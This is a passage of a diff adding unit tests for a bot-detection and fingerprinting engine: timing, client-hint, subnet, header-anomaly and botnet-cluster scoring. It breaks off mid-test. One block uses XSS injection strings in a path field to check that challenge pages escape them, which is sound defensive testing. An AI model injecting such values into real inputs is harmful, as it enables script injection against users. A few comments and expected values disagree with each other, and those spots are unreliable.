const metrics = { clientTimestamp };
|
|
1888
|
+
|
|
1889
|
+
const { timeInconsistencyScore } = __internal.getTimeInconsistencyScore(context, metrics);
|
|
1890
|
+
expect(timeInconsistencyScore).toBe(100);
|
|
1891
|
+
});
|
|
1892
|
+
|
|
1893
|
+
it('should return 0 if clientTimestamp is after requestTimestamp (client clock ahead)', () => {
|
|
1894
|
+
const requestTimestamp = Date.now();
|
|
1895
|
+
const clientTimestamp = requestTimestamp + 5000; // Client clock is 5 seconds ahead
|
|
1896
|
+
const context = { requestTimestamp };
|
|
1897
|
+
const metrics = { clientTimestamp };
|
|
1898
|
+
|
|
1899
|
+
const { timeInconsistencyScore } = __internal.getTimeInconsistencyScore(context, metrics);
|
|
1900
|
+
expect(timeInconsistencyScore).toBe(0);
|
|
1901
|
+
});
|
|
1902
|
+
|
|
1903
|
+
it('should return 0 if clientTimestamp or requestTimestamp is missing', () => {
|
|
1904
|
+
const context1 = { requestTimestamp: Date.now() };
|
|
1905
|
+
const metrics1 = {}; // Missing clientTimestamp
|
|
1906
|
+
expect(__internal.getTimeInconsistencyScore(context1, metrics1).timeInconsistencyScore).toBe(0);
|
|
1907
|
+
|
|
1908
|
+
const context2 = {}; // Missing requestTimestamp
|
|
1909
|
+
const metrics2 = { clientTimestamp: Date.now() };
|
|
1910
|
+
expect(__internal.getTimeInconsistencyScore(context2, metrics2).timeInconsistencyScore).toBe(0);
|
|
1911
|
+
});
|
|
1912
|
+
});
|
|
1913
|
+
describe('Challenge Page Generation Security (XSS)', () => {
|
|
1914
|
+
// Les fonctions sont déjà exportées via __internal
|
|
1915
|
+
const { generateCpuTargetChallengePage, generateCombinedPoWChallengePage } = __internal;
|
|
1916
|
+
|
|
1917
|
+
// Mock readFileSync pour éviter les erreurs de système de fichiers lorsque getPowSolverCode est appelé
|
|
1918
|
+
beforeEach(() => {
|
|
1919
|
+
// Assurez-vous que le mock est actif pour ces tests
|
|
1920
|
+
readFileSync.mockReturnValue('// MOCK SOLVER CODE');
|
|
1921
|
+
});
|
|
1922
|
+
|
|
1923
|
+
afterEach(() => {
|
|
1924
|
+
readFileSync.mockClear();
|
|
1925
|
+
});
|
|
1926
|
+
|
|
1927
|
+
it('should escape the path parameter in generateCpuTargetChallengePage to prevent XSS', () => {
|
|
1928
|
+
const maliciousPath = `"/;alert('XSS');//`;
|
|
1929
|
+
const challengeDetails = {
|
|
1930
|
+
nonce: 'test-nonce',
|
|
1931
|
+
target: '0000',
|
|
1932
|
+
path: maliciousPath,
|
|
1933
|
+
};
|
|
1934
|
+
|
|
1935
|
+
const html = generateCpuTargetChallengePage(challengeDetails, '127.0.0.1');
|
|
1936
|
+
|
|
1937
|
+
// 1. Le script malveillant brut ne doit PAS être présent.
|
|
1938
|
+
expect(html).not.toContain(`window.location.href = "/;alert('XSS');//?pow_type=cpu_target`);
|
|
1939
|
+
|
|
1940
|
+
// 2. Le chemin doit être correctement échappé via JSON.stringify, neutralisant l'attaque.
|
|
1941
|
+
const expectedEscapedString = `window.location.href = ${JSON.stringify(maliciousPath)} + "?pow_type=cpu_target`;
|
|
1942
|
+
expect(html).toContain(expectedEscapedString);
|
|
1943
|
+
});
|
|
1944
|
+
|
|
1945
|
+
it('should escape the path parameter in generateCombinedPoWChallengePage to prevent XSS', () => {
|
|
1946
|
+
const maliciousPath = `test.com";\nconsole.log("pwned");//`;
|
|
1947
|
+
const challengeDetails = { nonce: 'test-nonce', target: '0000', path: maliciousPath };
|
|
1948
|
+
|
|
1949
|
+
const html = generateCombinedPoWChallengePage(challengeDetails, 16, '127.0.0.1', 'secret', {}, '');
|
|
1950
|
+
|
|
1951
|
+
expect(html).not.toContain(`const path = "test.com";`);
|
|
1952
|
+
expect(html).toContain(`const path = ${JSON.stringify(maliciousPath)};`);
|
|
1953
|
+
});
|
|
1954
|
+
});
|
|
1955
|
+
|
|
1956
|
+
|
|
1957
|
+
describe('Regularity Detection (Standard Deviation)', () => {
|
|
1958
|
+
const regularityConfig = {
|
|
1959
|
+
...patternConfig,
|
|
1960
|
+
patternWeight: 60,
|
|
1961
|
+
minSamples: 5, // Ensure minSamples is explicitly defined for this test suite
|
|
1962
|
+
};
|
|
1963
|
+
|
|
1964
|
+
let dateNowSpy;
|
|
1965
|
+
it('should apply a high penalty for perfectly regular requests', () => {
|
|
1966
|
+
const deviceData = { requestHistory: [], timingHistory: [1000, 1000, 1000, 1000, 1000] }; // Écart-type = 0
|
|
1967
|
+
const context = { path: '/page', query: {} };
|
|
1968
|
+
dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(11000); // La 6ème requête arrive aussi après 1000ms
|
|
1969
|
+
|
|
1970
|
+
const { requestPatternScore } = getRequestPatternScore(context, deviceData, regularityConfig);
|
|
1971
|
+
|
|
1972
|
+
// stdDev is 0 (regularityScore = 1.0). regularityRatio = 0.4.
|
|
1973
|
+
// Expected score: 1.0 * 0.4 * 60 = 24.
|
|
1974
|
+
expect(requestPatternScore).toBe(24);
|
|
1975
|
+
});
|
|
1976
|
+
|
|
1977
|
+
it('should apply a low penalty for slightly irregular requests', () => {
|
|
1978
|
+
const deviceData = { requestHistory: [], timingHistory: [1000, 1010, 990, 1005, 995] }; // Écart-type faible mais non nul
|
|
1979
|
+
const context = { path: '/page', query: {} };
|
|
1980
|
+
dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(11000);
|
|
1981
|
+
const localConfig = { ...regularityConfig, regularityThreshold: 10 }; // stdDev of this data is ~5.
|
|
1982
|
+
|
|
1983
|
+
const { requestPatternScore } = getRequestPatternScore(context, deviceData, localConfig);
|
|
1984
|
+
|
|
1985
|
+
// stdDev is ~7.07 (regularityScore = 1 - 7.07/10 = 0.293).
|
|
1986
|
+
// Expected score: 0.293 * 0.4 * 60 = 7.03.
|
|
1987
|
+
expect(requestPatternScore).toBeCloseTo(7.03, 1);
|
|
1988
|
+
});
|
|
1989
|
+
|
|
1990
|
+
it('should apply no penalty for highly irregular (human-like) requests', () => {
|
|
1991
|
+
const deviceData = { requestHistory: [], timingHistory: [500, 2000, 800, 3500, 1200] }; // Écart-type élevé
|
|
1992
|
+
const context = { path: '/page', query: {} };
|
|
1993
|
+
dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(11000);
|
|
1994
|
+
// The stdDev of this data is high, so it won't trigger the regularity check.
|
|
1995
|
+
|
|
1996
|
+
const { requestPatternScore } = getRequestPatternScore(context, deviceData, regularityConfig);
|
|
1997
|
+
|
|
1998
|
+
expect(requestPatternScore).toBe(0);
|
|
1999
|
+
});
|
|
2000
|
+
});
|
|
2001
|
+
describe('Dry Run Mode', () => {
|
|
2002
|
+
const inMemoryStore = {
|
|
2003
|
+
_map: new Map(),
|
|
2004
|
+
async get(key) { return this._map.get(key); },
|
|
2005
|
+
async set(key, value) { this._map.set(key, value); },
|
|
2006
|
+
};
|
|
2007
|
+
|
|
2008
|
+
beforeEach(() => {
|
|
2009
|
+
inMemoryStore._map.clear();
|
|
2010
|
+
configureStore(inMemoryStore);
|
|
2011
|
+
vi.spyOn(console, 'log').mockImplementation(() => {});
|
|
2012
|
+
});
|
|
2013
|
+
|
|
2014
|
+
afterEach(() => {
|
|
2015
|
+
vi.restoreAllMocks();
|
|
2016
|
+
});
|
|
2017
|
+
|
|
2018
|
+
it('should log the intended action but return "next" when a request would be blocked', async () => {
|
|
2019
|
+
const securityConfig = {
|
|
2020
|
+
dryRun: true,
|
|
2021
|
+
verbose: true, // Enable logging for the test
|
|
2022
|
+
weights: { honeypotScore: 1.0 },
|
|
2023
|
+
thresholds: { low: 20, block: 95 },
|
|
2024
|
+
};
|
|
2025
|
+
const engine = new FingerprintEngine(securityConfig);
|
|
2026
|
+
|
|
2027
|
+
// Mock a highly suspicious vector that would normally trigger a block
|
|
2028
|
+
vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
|
|
2029
|
+
honeypotScore: 100
|
|
2030
|
+
});
|
|
2031
|
+
|
|
2032
|
+
const requestContext = {
|
|
2033
|
+
clientIp: '1.2.3.4', path: '/', cookies: {}, query: {}, headers: { 'user-agent': 'test-bot' },
|
|
2034
|
+
};
|
|
2035
|
+
|
|
2036
|
+
const decision = await engine.processRequest(requestContext);
|
|
2037
|
+
|
|
2038
|
+
// Assert that the final action is 'next'
|
|
2039
|
+
expect(decision.action).toBe('next');
|
|
2040
|
+
// Assert that the intended action was to 'block'
|
|
2041
|
+
expect(decision.intendedAction).toBe('block');
|
|
2042
|
+
// Assert that the log message indicates a dry run
|
|
2043
|
+
expect(console.log).toHaveBeenCalledWith(
|
|
2044
|
+
expect.stringContaining('[FingerprintEngine] [Dry Run] Intended action: block'),
|
|
2045
|
+
expect.any(Object) // The second argument is the data object
|
|
2046
|
+
);
|
|
2047
|
+
});
|
|
2048
|
+
});
|
|
2049
|
+
|
|
2050
|
+
describe('getClientHintsInconsistencyScore', () => {
|
|
2051
|
+
const { getClientHintsInconsistencyScore } = __internal;
|
|
2052
|
+
|
|
2053
|
+
it('should return 0 for consistent User-Agent and Client-Hints', () => {
|
|
2054
|
+
const context = {
|
|
2055
|
+
headers: {
|
|
2056
|
+
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
|
|
2057
|
+
'sec-ch-ua': '"Not/A)Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"',
|
|
2058
|
+
}
|
|
2059
|
+
};
|
|
2060
|
+
const { clientHintsInconsistencyScore } = getClientHintsInconsistencyScore(context);
|
|
2061
|
+
expect(clientHintsInconsistencyScore).toBe(0);
|
|
2062
|
+
});
|
|
2063
|
+
|
|
2064
|
+
it('should return 80 for a large version mismatch', () => {
|
|
2065
|
+
const context = {
|
|
2066
|
+
headers: {
|
|
2067
|
+
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36',
|
|
2068
|
+
'sec-ch-ua': '"Not/A)Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"',
|
|
2069
|
+
}
|
|
2070
|
+
};
|
|
2071
|
+
const { clientHintsInconsistencyScore } = getClientHintsInconsistencyScore(context);
|
|
2072
|
+
expect(clientHintsInconsistencyScore).toBe(80);
|
|
2073
|
+
});
|
|
2074
|
+
|
|
2075
|
+
it('should return 40 for a small version mismatch', () => {
|
|
2076
|
+
const context = {
|
|
2077
|
+
headers: {
|
|
2078
|
+
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36',
|
|
2079
|
+
'sec-ch-ua': '"Not/A)Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"',
|
|
2080
|
+
}
|
|
2081
|
+
};
|
|
2082
|
+
const { clientHintsInconsistencyScore } = getClientHintsInconsistencyScore(context);
|
|
2083
|
+
expect(clientHintsInconsistencyScore).toBe(40);
|
|
2084
|
+
});
|
|
2085
|
+
|
|
2086
|
+
it('should return 90 for a browser family mismatch', () => {
|
|
2087
|
+
const context = {
|
|
2088
|
+
headers: {
|
|
2089
|
+
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
|
|
2090
|
+
'sec-ch-ua': '"Not/A)Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"',
|
|
2091
|
+
}
|
|
2092
|
+
};
|
|
2093
|
+
const { clientHintsInconsistencyScore } = getClientHintsInconsistencyScore(context);
|
|
2094
|
+
expect(clientHintsInconsistencyScore).toBe(90);
|
|
2095
|
+
});
|
|
2096
|
+
|
|
2097
|
+
it('should return 0 if headers are missing or unparsable', () => {
|
|
2098
|
+
const context1 = { headers: { 'user-agent': 'Just Chrome/120' } }; // Missing sec-ch-ua
|
|
2099
|
+
const context2 = { headers: { 'sec-ch-ua': '"Google Chrome";v="120"' } }; // Missing user-agent
|
|
2100
|
+
const context3 = { headers: { 'user-agent': 'UnknownBrowser/1.0', 'sec-ch-ua': '"UnknownBrand";v="1.0"' } }; // Unparsable
|
|
2101
|
+
|
|
2102
|
+
expect(getClientHintsInconsistencyScore(context1).clientHintsInconsistencyScore).toBe(0);
|
|
2103
|
+
expect(getClientHintsInconsistencyScore(context2).clientHintsInconsistencyScore).toBe(0);
|
|
2104
|
+
expect(getClientHintsInconsistencyScore(context3).clientHintsInconsistencyScore).toBe(0);
|
|
2105
|
+
});
|
|
2106
|
+
});
|
|
2107
|
+
|
|
2108
|
+
describe('Subnet Scoring (Node.js)', () => {
|
|
2109
|
+
const inMemoryStore = {
|
|
2110
|
+
_map: new Map(),
|
|
2111
|
+
async get(key) { return this._map.get(key); },
|
|
2112
|
+
async set(key, value) { this._map.set(key, value); },
|
|
2113
|
+
clear() { this._map.clear(); }
|
|
2114
|
+
};
|
|
2115
|
+
|
|
2116
|
+
beforeEach(async () => {
|
|
2117
|
+
inMemoryStore.clear();
|
|
2118
|
+
// La configuration du store est maintenant asynchrone
|
|
2119
|
+
await configureStore(inMemoryStore); // Configure the shared store for each test
|
|
2120
|
+
});
|
|
2121
|
+
|
|
2122
|
+
it('getIpSubnet should correctly calculate subnets', () => {
|
|
2123
|
+
const { getIpSubnet } = __internal;
|
|
2124
|
+
// IPv4
|
|
2125
|
+
expect(getIpSubnet('192.168.1.123', 24)).toBe('192.168.1.0/24');
|
|
2126
|
+
// The new version handles other prefixes
|
|
2127
|
+
expect(getIpSubnet('10.20.30.40', 16)).toBe('10.20.0.0/16');
|
|
2128
|
+
// IPv6
|
|
2129
|
+
expect(getIpSubnet('2001:db8:abcd:0012:0000:0000:0000:0001', 48)).toBe('2001:db8:abcd:0:0:0:0:0/48');
|
|
2130
|
+
// The new version handles other prefixes
|
|
2131
|
+
expect(getIpSubnet('2a01:e0a:129:57c0:a1b2:c3d4:e5f6:a7b8', 64)).toBe('2a01:e0a:129:0:0:0:0:0/48');
|
|
2132
|
+
// Invalid IPs
|
|
2133
|
+
expect(getIpSubnet('not-an-ip')).toBeNull();
|
|
2134
|
+
});
|
|
2135
|
+
|
|
2136
|
+
it('updateSubnetMetrics should create and update subnet data in the store', async () => {
|
|
2137
|
+
const context1 = { clientIp: '10.0.0.25', headers: { 'user-agent': 'device-1' } };
|
|
2138
|
+
await __internal.updateSubnetMetrics(context1, 'device-1', 50);
|
|
2139
|
+
|
|
2140
|
+
const fp1 = new FingerprintBuilder().add('ua', 'device-1').toString();
|
|
2141
|
+
const expectedId1 = cyrb53(fp1).toString();
|
|
2142
|
+
|
|
2143
|
+
const subnetData = await inMemoryStore.get('subnet:10.0.0.0/24');
|
|
2144
|
+
expect(subnetData).toBeDefined();
|
|
2145
|
+
expect(subnetData.highScoreCount).toBe(1);
|
|
2146
|
+
expect(subnetData.deviceIds).toEqual([expectedId1]);
|
|
2147
|
+
|
|
2148
|
+
// Second update
|
|
2149
|
+
const context2 = { clientIp: '10.0.0.25', headers: { 'user-agent': 'device-2' } };
|
|
2150
|
+
await __internal.updateSubnetMetrics(context2, 'device-2', 60);
|
|
2151
|
+
|
|
2152
|
+
const fp2 = new FingerprintBuilder().add('ua', 'device-2').toString();
|
|
2153
|
+
const expectedId2 = cyrb53(fp2).toString();
|
|
2154
|
+
|
|
2155
|
+
const updatedSubnetData = await inMemoryStore.get('subnet:10.0.0.0/24');
|
|
2156
|
+
expect(updatedSubnetData.highScoreCount).toBe(2);
|
|
2157
|
+
expect(updatedSubnetData.deviceIds).toEqual([expectedId1, expectedId2]);
|
|
2158
|
+
});
|
|
2159
|
+
|
|
2160
|
+
it('getSubnetScore should calculate score based on stored metrics', async () => {
|
|
2161
|
+
const context = { clientIp: '10.0.0.25' };
|
|
2162
|
+
|
|
2163
|
+
// 1. No data, score should be 0
|
|
2164
|
+
let { subnetScore } = await __internal.getSubnetScore(context, 'device-1');
|
|
2165
|
+
expect(subnetScore).toBe(0);
|
|
2166
|
+
|
|
2167
|
+
// 2. Some high scores, few devices. The subnet is calculated from the context.
|
|
2168
|
+
// The key is hardcoded here to match what the implementation would store.
|
|
2169
|
+
await inMemoryStore.set('subnet:10.0.0.0/24', {
|
|
2170
|
+
highScoreCount: 5, // score += 5 * 2 = 10
|
|
2171
|
+
deviceIds: ['d1', 'd2'], // count < 10, score += 0
|
|
2172
|
+
});
|
|
2173
|
+
({ subnetScore } = await __internal.getSubnetScore(context, 'device-1'));
|
|
2174
|
+
expect(subnetScore).toBe(10);
|
|
2175
|
+
|
|
2176
|
+
// 3. Many devices and high scores
|
|
2177
|
+
const deviceIds = Array.from({ length: 20 }, (_, i) => `d${i}`);
|
|
2178
|
+
await inMemoryStore.set('subnet:10.0.0.0/24', {
|
|
2179
|
+
highScoreCount: 30, // score += min(40, 30 * 2) = 40
|
|
2180
|
+
deviceIds: deviceIds, // count = 20. score += (20-10)*5 = 50
|
|
2181
|
+
});
|
|
2182
|
+
({ subnetScore } = await __internal.getSubnetScore(context, 'device-1'));
|
|
2183
|
+
expect(subnetScore).toBe(90); // 40 + 50
|
|
2184
|
+
});
|
|
2185
|
+
});
|
|
2186
|
+
|
|
2187
|
+
describe('Firefox TE Header Anomaly', () => {
|
|
2188
|
+
const securityConfig = {
|
|
2189
|
+
weights: { headerAnomalyScore: 1.0 },
|
|
2190
|
+
thresholds: { low: 20, medium: 45, high: 75 }
|
|
2191
|
+
};
|
|
2192
|
+
|
|
2193
|
+
it('should penalize Firefox desktop UA without TE: trailers', async () => {
|
|
2194
|
+
const context = {
|
|
2195
|
+
clientIp: '1.1.1.1',
|
|
2196
|
+
path: '/',
|
|
2197
|
+
headers: {
|
|
2198
|
+
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
|
|
2199
|
+
'accept-language': 'en-US,en;q=0.9',
|
|
2200
|
+
},
|
|
2201
|
+
cookies: { device_id: 'some-device' },
|
|
2202
|
+
};
|
|
2203
|
+
const vector = await __internal.getSuspicionVector(context, securityConfig);
|
|
2204
|
+
expect(vector.headerAnomalyScore).toBe(30);
|
|
2205
|
+
});
|
|
2206
|
+
|
|
2207
|
+
it('should not penalize Firefox desktop UA with TE: trailers', async () => {
|
|
2208
|
+
const context = {
|
|
2209
|
+
clientIp: '1.1.1.1',
|
|
2210
|
+
path: '/',
|
|
2211
|
+
headers: {
|
|
2212
|
+
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0',
|
|
2213
|
+
'accept-language': 'en-US,en;q=0.9',
|
|
2214
|
+
'te': 'trailers',
|
|
2215
|
+
},
|
|
2216
|
+
cookies: { device_id: 'some-device' },
|
|
2217
|
+
};
|
|
2218
|
+
const vector = await __internal.getSuspicionVector(context, securityConfig);
|
|
2219
|
+
expect(vector.headerAnomalyScore).toBe(0);
|
|
2220
|
+
});
|
|
2221
|
+
|
|
2222
|
+
it('should penalize non-Firefox desktop UA with TE: trailers', async () => {
|
|
2223
|
+
const context = {
|
|
2224
|
+
clientIp: '1.1.1.1',
|
|
2225
|
+
path: '/',
|
|
2226
|
+
headers: {
|
|
2227
|
+
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
|
|
2228
|
+
'accept-language': 'en-US,en;q=0.9',
|
|
2229
|
+
'te': 'trailers',
|
|
2230
|
+
},
|
|
2231
|
+
cookies: { device_id: 'some-device' },
|
|
2232
|
+
};
|
|
2233
|
+
const vector = await __internal.getSuspicionVector(context, securityConfig);
|
|
2234
|
+
expect(vector.headerAnomalyScore).toBe(30);
|
|
2235
|
+
});
|
|
2236
|
+
});
|
|
2237
|
+
|
|
2238
|
+
describe('FingerprintEngine.processRequest - updateSubnetMetrics call logic', () => {
|
|
2239
|
+
const inMemoryStore = {
|
|
2240
|
+
_map: new Map(),
|
|
2241
|
+
async get(key) { return this._map.get(key); },
|
|
2242
|
+
async set(key, value) { this._map.set(key, value); },
|
|
2243
|
+
async has(key) { return this._map.has(key); },
|
|
2244
|
+
async delete(key) { this._map.delete(key); },
|
|
2245
|
+
};
|
|
2246
|
+
|
|
2247
|
+
let securityConfig;
|
|
2248
|
+
let engine;
|
|
2249
|
+
let updateSubnetMetricsSpy;
|
|
2250
|
+
let getSuspicionVectorSpy;
|
|
2251
|
+
let calculateFinalScoreSpy;
|
|
2252
|
+
|
|
2253
|
+
beforeEach(() => {
|
|
2254
|
+
inMemoryStore._map.clear();
|
|
2255
|
+
configureStore(inMemoryStore);
|
|
2256
|
+
|
|
2257
|
+
securityConfig = {
|
|
2258
|
+
weights: { historyScore: 1.0 },
|
|
2259
|
+
thresholds: { low: 20, medium: 45, high: 75, block: 95 }, // Default blockThreshold
|
|
2260
|
+
};
|
|
2261
|
+
engine = new FingerprintEngine(securityConfig);
|
|
2262
|
+
|
|
2263
|
+
// Spy on the internal updateSubnetMetrics function
|
|
2264
|
+
updateSubnetMetricsSpy = vi.spyOn(__internal, 'updateSubnetMetrics').mockResolvedValue(undefined);
|
|
2265
|
+
// Spy on getSuspicionVector to control the input to calculateFinalScore
|
|
2266
|
+
getSuspicionVectorSpy = vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({});
|
|
2267
|
+
// Spy on calculateFinalScore to directly control the finalScore
|
|
2268
|
+
calculateFinalScoreSpy = vi.spyOn(engine, 'calculateFinalScore');
|
|
2269
|
+
});
|
|
2270
|
+
|
|
2271
|
+
afterEach(() => {
|
|
2272
|
+
updateSubnetMetricsSpy.mockRestore();
|
|
2273
|
+
getSuspicionVectorSpy.mockRestore();
|
|
2274
|
+
calculateFinalScoreSpy.mockRestore();
|
|
2275
|
+
});
|
|
2276
|
+
|
|
2277
|
+
it('should call updateSubnetMetrics if finalScore is between lowThreshold and blockThreshold', async () => {
|
|
2278
|
+
calculateFinalScoreSpy.mockReturnValue(50); // Score between 20 and 95
|
|
2279
|
+
const requestContext = { clientIp: '192.168.1.1', cookies: {}, query: {}, headers: {} };
|
|
2280
|
+
|
|
2281
|
+
await engine.processRequest(requestContext);
|
|
2282
|
+
|
|
2283
|
+
expect(updateSubnetMetricsSpy).toHaveBeenCalledTimes(1);
|
|
2284
|
+
expect(updateSubnetMetricsSpy).toHaveBeenCalledWith(requestContext, expect.any(String), 50);
|
|
2285
|
+
});
|
|
2286
|
+
|
|
2287
|
+
it('should NOT call updateSubnetMetrics if finalScore is equal to or above blockThreshold', async () => {
|
|
2288
|
+
calculateFinalScoreSpy.mockReturnValue(95); // Score equals blockThreshold
|
|
2289
|
+
const requestContext = { clientIp: '192.168.1.1', cookies: {}, query: {}, headers: {} };
|
|
2290
|
+
|
|
2291
|
+
await engine.processRequest(requestContext);
|
|
2292
|
+
|
|
2293
|
+
expect(updateSubnetMetricsSpy).not.toHaveBeenCalled();
|
|
2294
|
+
|
|
2295
|
+
calculateFinalScoreSpy.mockReturnValue(100); // Score above blockThreshold
|
|
2296
|
+
await engine.processRequest(requestContext);
|
|
2297
|
+
|
|
2298
|
+
expect(updateSubnetMetricsSpy).not.toHaveBeenCalled();
|
|
2299
|
+
});
|
|
2300
|
+
});
|
|
2301
|
+
|
|
2302
|
+
describe('Additional Suspicion Vectors Coverage', () => {
|
|
2303
|
+
const inMemoryStore = {
|
|
2304
|
+
_map: new Map(),
|
|
2305
|
+
async get(key) { return this._map.get(key); },
|
|
2306
|
+
async set(key, value) { this._map.set(key, value); },
|
|
2307
|
+
async has(key) { return this._map.has(key); },
|
|
2308
|
+
async delete(key) { this._map.delete(key); },
|
|
2309
|
+
};
|
|
2310
|
+
|
|
2311
|
+
beforeEach(() => {
|
|
2312
|
+
inMemoryStore._map.clear();
|
|
2313
|
+
configureStore(inMemoryStore);
|
|
2314
|
+
});
|
|
2315
|
+
|
|
2316
|
+
it('should calculate a high rotationScore for rapid fingerprint changes', async () => {
|
|
2317
|
+
const context = {
|
|
2318
|
+
clientIp: '127.0.0.1',
|
|
2319
|
+
cookies: { device_id: 'rotating-device' },
|
|
2320
|
+
headers: { 'user-agent': 'test-ua' }
|
|
2321
|
+
};
|
|
2322
|
+
|
|
2323
|
+
await inMemoryStore.set('device:rotating-device', {
|
|
2324
|
+
initialDeviceHash: 'hash-A',
|
|
2325
|
+
ips: new Set(['127.0.0.1']),
|
|
2326
|
+
lastUpdate: Date.now(),
|
|
2327
|
+
lastFpHash: 'hash-A',
|
|
2328
|
+
lastChangeTimestamp: Date.now(),
|
|
2329
|
+
rapidChangeCount: 3,
|
|
2330
|
+
});
|
|
2331
|
+
|
|
2332
|
+
const vector = await __internal.getSuspicionVector(context, {
|
|
2333
|
+
weights: { rotationScore: 1.0 },
|
|
2334
|
+
thresholds: { low: 20 }
|
|
2335
|
+
});
|
|
2336
|
+
|
|
2337
|
+
expect(vector.rotationScore).toBe(100);
|
|
2338
|
+
});
|
|
2339
|
+
|
|
2340
|
+
it('should calculate a high botScore when bot or cdp markers are present in device fingerprint', async () => {
|
|
2341
|
+
const contextBot = {
|
|
2342
|
+
clientIp: '127.0.0.1',
|
|
2343
|
+
headers: { 'x-device-fingerprint': 'ua:123|bot:true' }
|
|
2344
|
+
};
|
|
2345
|
+
const contextCdp = {
|
|
2346
|
+
clientIp: '127.0.0.1',
|
|
2347
|
+
headers: { 'x-device-fingerprint': 'ua:123|cdp:true' }
|
|
2348
|
+
};
|
|
2349
|
+
|
|
2350
|
+
const vectorBot = await __internal.getSuspicionVector(contextBot, { weights: { botScore: 1.0 } });
|
|
2351
|
+
const vectorCdp = await __internal.getSuspicionVector(contextCdp, { weights: { botScore: 1.0 } });
|
|
2352
|
+
|
|
2353
|
+
expect(vectorBot.botScore).toBe(100);
|
|
2354
|
+
expect(vectorCdp.botScore).toBe(100);
|
|
2355
|
+
});
|
|
2356
|
+
|
|
2357
|
+
it('should calculate a high crossLayerInconsistencyScore when OS mismatch is detected', () => {
|
|
2358
|
+
const context = {
|
|
2359
|
+
headers: {
|
|
2360
|
+
'x-device-fingerprint': `os:${cyrb53("Windows")}`,
|
|
2361
|
+
'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15'
|
|
2362
|
+
}
|
|
2363
|
+
};
|
|
2364
|
+
|
|
2365
|
+
const { crossLayerInconsistencyScore } = __internal.getCrossLayerInconsistency(context);
|
|
2366
|
+
expect(crossLayerInconsistencyScore).toBe(50);
|
|
2367
|
+
});
|
|
2368
|
+
});
|
|
2369
|
+
|
|
2370
|
+
describe('Botnet Cluster Scoring (Node.js)', () => {
|
|
2371
|
+
const inMemoryStore = {
|
|
2372
|
+
_map: new Map(),
|
|
2373
|
+
async get(key) { return this._map.get(key); },
|
|
2374
|
+
async set(key, value) { this._map.set(key, value); },
|
|
2375
|
+
clear() { this._map.clear(); }
|
|
2376
|
+
};
|
|
2377
|
+
|
|
2378
|
+
beforeEach(async () => {
|
|
2379
|
+
inMemoryStore.clear();
|
|
2380
|
+
await configureStore(inMemoryStore);
|
|
2381
|
+
});
|
|
2382
|
+
|
|
2383
|
+
it('should calculate botnetClusterScore based on unique IPs within 10 minutes', async () => {
|
|
2384
|
+
const { getBotnetClusterScore } = __internal;
|
|
2385
|
+
const stableFpHash = 'test-stable-hash';
|
|
2386
|
+
|
|
2387
|
+
// 1. Première IP
|
|
2388
|
+
let scoreData = await getBotnetClusterScore({ clientIp: '192.168.1.1' }, stableFpHash);
|
|
2389
|
+
expect(scoreData.botnetClusterScore).toBe(0);
|
|
2390
|
+
|
|
2391
|
+
// 2. Ajout de 2 IPs uniques (total 3)
|
|
2392
|
+
await getBotnetClusterScore({ clientIp: '192.168.1.2' }, stableFpHash);
|
|
2393
|
+
scoreData = await getBotnetClusterScore({ clientIp: '192.168.1.3' }, stableFpHash);
|
|
2394
|
+
expect(scoreData.botnetClusterScore).toBe(50.3);
|
|
2395
|
+
|
|
2396
|
+
// 3. Ajout de 2 IPs uniques (total 5)
|
|
2397
|
+
await getBotnetClusterScore({ clientIp: '192.168.1.4' }, stableFpHash);
|
|
2398
|
+
scoreData = await getBotnetClusterScore({ clientIp: '192.168.1.5' }, stableFpHash);
|
|
2399
|
+
expect(scoreData.botnetClusterScore).toBe(75.3);
|
|
2400
|
+
|
|
2401
|
+
// 4. Ajout de 5 IPs uniques (total 10)
|
|
2402
|
+
for (let i = 6; i <= 10; i++) {
|
|
2403
|
+
scoreData = await getBotnetClusterScore({ clientIp: `192.168.1.${i}` }, stableFpHash);
|
|
2404
|
+
}
|
|
2405
|
+
expect(scoreData.botnetClusterScore).toBe(95.7);
|
|
2406
|
+
});
|
|
2407
|
+
|
|
2408
|
+
it('should realistically group PS4 consoles with volatile differences (different IPs/cookies) under the same cluster score', async () => {
|
|
2409
|
+
const { getSuspicionVector } = __internal;
|
|
2410
|
+
|
|
2411
|
+
const ps4Headers = {
|
|
2412
|
+
'user-agent': 'Mozilla/5.0 (PlayStation 4 11.50) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.50 Safari/605.1.15',
|
|
2413
|
+
'x-ja3-hash': '76993ef93bf89104037599723ab9f201',
|
|
2414
|
+
'x-ja4-hash': 't13d1516h2_8daaf6152771_390237aa04be',
|
|
2415
|
+
'x-http2-fingerprint': '1:65536;3:1000;4:6291456;6:65536',
|
|
2416
|
+
'x-tcp-fingerprint': '64240:128:1:mss,nop,ws,nop,nop,sok:df:0'
|
|
2417
|
+
};
|
|
2418
|
+
|
|
2419
|
+
// Simule des requêtes provenant de 10 consoles PlayStation 4 infectées différentes (IPs différentes, pas de cookies communs)
|
|
2420
|
+
for (let i = 1; i <= 10; i++) {
|
|
2421
